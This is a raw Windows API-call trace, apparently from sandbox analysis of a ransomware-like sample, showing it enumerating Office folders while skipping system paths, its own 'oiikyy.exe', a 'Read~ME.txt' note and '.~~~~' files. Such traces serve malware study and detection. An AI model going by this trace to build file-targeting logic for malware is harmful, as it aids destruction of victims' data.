	[0069.117] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.118] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.118] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.118] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.118] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.118] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.118] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.118] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.118] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.118] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.118] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0069.118] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="Windows") returned -1
	[0069.118] lstrcmpW (lpString1="msinfo32.exe.mui", lpString2="oiikyy.exe") returned -1
	[0069.118] StrStrW (lpFirst="msinfo32.exe.mui", lpSrch=".~~~~") returned 0x0
	[0069.118] lstrcmpW (lpString1="msinfo32.exe.mui", lpString2="Read~ME.txt") returned -1
	[0069.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0069.118] GetCurrentThreadId () returned 0x618
	[0069.118] RtlWakeConditionVariable () returned 0x365f48
	[0069.118] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0
	[0069.118] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.119] GetCurrentThreadId () returned 0x618
	[0069.119] RtlWakeConditionVariable () returned 0x365f48
	[0069.119] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0069.119] lstrcmpiW (lpString1="msinfo32.exe", lpString2="Windows") returned -1
	[0069.119] lstrcmpW (lpString1="msinfo32.exe", lpString2="oiikyy.exe") returned -1
	[0069.119] StrStrW (lpFirst="msinfo32.exe", lpSrch=".~~~~") returned 0x0
	[0069.119] lstrcmpW (lpString1="msinfo32.exe", lpString2="Read~ME.txt") returned -1
	[0069.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.119] GetCurrentThreadId () returned 0x618
	[0069.119] RtlWakeConditionVariable () returned 0x365f48
	[0069.119] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0
	[0069.119] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0069.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.119] GetCurrentThreadId () returned 0x618
	[0069.119] RtlWakeConditionVariable () returned 0x365f48
	[0069.120] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0069.120] lstrcmpiW (lpString1="OFFICE14", lpString2="Windows") returned -1
	[0069.120] lstrcmpW (lpString1="OFFICE14", lpString2=".") returned 1
	[0069.120] lstrcmpW (lpString1="OFFICE14", lpString2="..") returned 1
	[0069.120] lstrcmpW (lpString1="OFFICE14", lpString2="AppData") returned 1
	[0069.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", lpSrch="AppData") returned 0x0
	[0069.120] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.121] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", lpString2="C:\\Windows") returned -1
	[0069.121] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.121] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", lpString2="C:\\System Volume Information") returned -1
	[0069.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0069.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0069.121] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.121] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.122] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.122] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.122] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.122] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.122] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.122] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.122] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.122] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.122] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.122] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.122] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0069.122] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0069.122] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0069.122] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0069.122] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0069.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", lpSrch="AppData") returned 0x0
	[0069.123] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.123] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", lpString2="C:\\Windows") returned -1
	[0069.123] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.123] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", lpString2="C:\\System Volume Information") returned -1
	[0069.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.125] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.125] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.125] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.125] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.125] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.125] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.125] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.125] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.125] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.125] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.125] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.125] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.125] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1
	[0069.126] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="Windows") returned -1
	[0069.126] lstrcmpW (lpString1="ACEINTL.DLL", lpString2="oiikyy.exe") returned -1
	[0069.126] StrStrW (lpFirst="ACEINTL.DLL", lpSrch=".~~~~") returned 0x0
	[0069.126] lstrcmpW (lpString1="ACEINTL.DLL", lpString2="Read~ME.txt") returned -1
	[0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.126] GetCurrentThreadId () returned 0x618
	[0069.126] RtlWakeConditionVariable () returned 0x365f48
	[0069.126] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1
	[0069.126] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="Windows") returned -1
	[0069.126] lstrcmpW (lpString1="ACEODBCI.DLL", lpString2="oiikyy.exe") returned -1
	[0069.126] StrStrW (lpFirst="ACEODBCI.DLL", lpSrch=".~~~~") returned 0x0
	[0069.126] lstrcmpW (lpString1="ACEODBCI.DLL", lpString2="Read~ME.txt") returned -1
	[0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.126] GetCurrentThreadId () returned 0x618
	[0069.126] RtlWakeConditionVariable () returned 0x365f48
	[0069.126] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1
	[0069.126] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="Windows") returned -1
	[0069.126] lstrcmpW (lpString1="ACERECR.DLL", lpString2="oiikyy.exe") returned -1
	[0069.126] StrStrW (lpFirst="ACERECR.DLL", lpSrch=".~~~~") returned 0x0
	[0069.126] lstrcmpW (lpString1="ACERECR.DLL", lpString2="Read~ME.txt") returned -1
	[0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.126] GetCurrentThreadId () returned 0x618
	[0069.127] RtlWakeConditionVariable () returned 0x365f48
	[0069.127] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1
	[0069.127] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="Windows") returned -1
	[0069.127] lstrcmpW (lpString1="ACEWSTR.DLL", lpString2="oiikyy.exe") returned -1
	[0069.127] StrStrW (lpFirst="ACEWSTR.DLL", lpSrch=".~~~~") returned 0x0
	[0069.127] lstrcmpW (lpString1="ACEWSTR.DLL", lpString2="Read~ME.txt") returned -1
	[0069.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.127] GetCurrentThreadId () returned 0x618
	[0069.127] RtlWakeConditionVariable () returned 0x365f48
	[0069.127] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1
	[0069.127] lstrcmpiW (lpString1="ADO210.CHM", lpString2="Windows") returned -1
	[0069.127] lstrcmpW (lpString1="ADO210.CHM", lpString2="oiikyy.exe") returned -1
	[0069.127] StrStrW (lpFirst="ADO210.CHM", lpSrch=".~~~~") returned 0x0
	[0069.127] lstrcmpW (lpString1="ADO210.CHM", lpString2="Read~ME.txt") returned -1
	[0069.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.127] GetCurrentThreadId () returned 0x618
	[0069.127] RtlWakeConditionVariable () returned 0x365f48
	[0069.127] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1
	[0069.127] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="Windows") returned -1
	[0069.127] lstrcmpW (lpString1="ALRTINTL.DLL", lpString2="oiikyy.exe") returned -1
	[0069.127] StrStrW (lpFirst="ALRTINTL.DLL", lpSrch=".~~~~") returned 0x0
	[0069.127] lstrcmpW (lpString1="ALRTINTL.DLL", lpString2="Read~ME.txt") returned -1
	[0069.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.128] GetCurrentThreadId () returned 0x618
	[0069.128] RtlWakeConditionVariable () returned 0x365f48
	[0069.128] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1
	[0069.128] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="Windows") returned -1
	[0069.128] lstrcmpW (lpString1="MSOINTL.DLL", lpString2="oiikyy.exe") returned -1
	[0069.128] StrStrW (lpFirst="MSOINTL.DLL", lpSrch=".~~~~") returned 0x0
	[0069.128] lstrcmpW (lpString1="MSOINTL.DLL", lpString2="Read~ME.txt") returned -1
	[0069.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.128] GetCurrentThreadId () returned 0x618
	[0069.128] RtlWakeConditionVariable () returned 0x365f48
	[0069.128] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1
	[0069.128] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="Windows") returned -1
	[0069.128] lstrcmpW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="oiikyy.exe") returned -1
	[0069.128] StrStrW (lpFirst="MSOINTL.DLL.IDX_DLL", lpSrch=".~~~~") returned 0x0
	[0069.128] lstrcmpW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="Read~ME.txt") returned -1
	[0069.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0069.128] GetCurrentThreadId () returned 0x618
	[0069.128] RtlWakeConditionVariable () returned 0x365f48
	[0069.128] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1
	[0069.128] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="Windows") returned -1
	[0069.128] lstrcmpW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="oiikyy.exe") returned -1
	[0069.129] StrStrW (lpFirst="MSOINTL.REST.IDX_DLL", lpSrch=".~~~~") returned 0x0
	[0069.129] lstrcmpW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="Read~ME.txt") returned -1
	[0069.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0069.129] GetCurrentThreadId () returned 0x618
	[0069.129] RtlWakeConditionVariable () returned 0x365f48
	[0069.129] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1
	[0069.129] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="Windows") returned -1
	[0069.129] lstrcmpW (lpString1="MSSOAPR3.DLL", lpString2="oiikyy.exe") returned -1
	[0069.129] StrStrW (lpFirst="MSSOAPR3.DLL", lpSrch=".~~~~") returned 0x0
	[0069.129] lstrcmpW (lpString1="MSSOAPR3.DLL", lpString2="Read~ME.txt") returned -1
	[0069.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.129] GetCurrentThreadId () returned 0x618
	[0069.129] RtlWakeConditionVariable () returned 0x365f48
	[0069.129] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1
	[0069.129] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="Windows") returned -1
	[0069.129] lstrcmpW (lpString1="OARPMANR.DLL", lpString2="oiikyy.exe") returned -1
	[0069.129] StrStrW (lpFirst="OARPMANR.DLL", lpSrch=".~~~~") returned 0x0
	[0069.129] lstrcmpW (lpString1="OARPMANR.DLL", lpString2="Read~ME.txt") returned -1
	[0069.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.129] GetCurrentThreadId () returned 0x618
	[0069.129] RtlWakeConditionVariable () returned 0x365f48
	[0069.130] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1
	[0069.130] lstrcmpiW (lpString1="README.HTM", lpString2="Windows") returned -1
	[0069.130] lstrcmpW (lpString1="README.HTM", lpString2="oiikyy.exe") returned 1
	[0069.130] StrStrW (lpFirst="README.HTM", lpSrch=".~~~~") returned 0x0
	[0069.130] lstrcmpW (lpString1="README.HTM", lpString2="Read~ME.txt") returned 1
	[0069.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.130] GetCurrentThreadId () returned 0x618
	[0069.130] RtlWakeConditionVariable () returned 0x365f48
	[0069.130] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1
	[0069.130] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="Windows") returned 1
	[0069.130] lstrcmpW (lpString1="xlsrvintl.dll", lpString2="oiikyy.exe") returned 1
	[0069.130] StrStrW (lpFirst="xlsrvintl.dll", lpSrch=".~~~~") returned 0x0
	[0069.130] lstrcmpW (lpString1="xlsrvintl.dll", lpString2="Read~ME.txt") returned 1
	[0069.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.130] GetCurrentThreadId () returned 0x618
	[0069.131] RtlWakeConditionVariable () returned 0x365f48
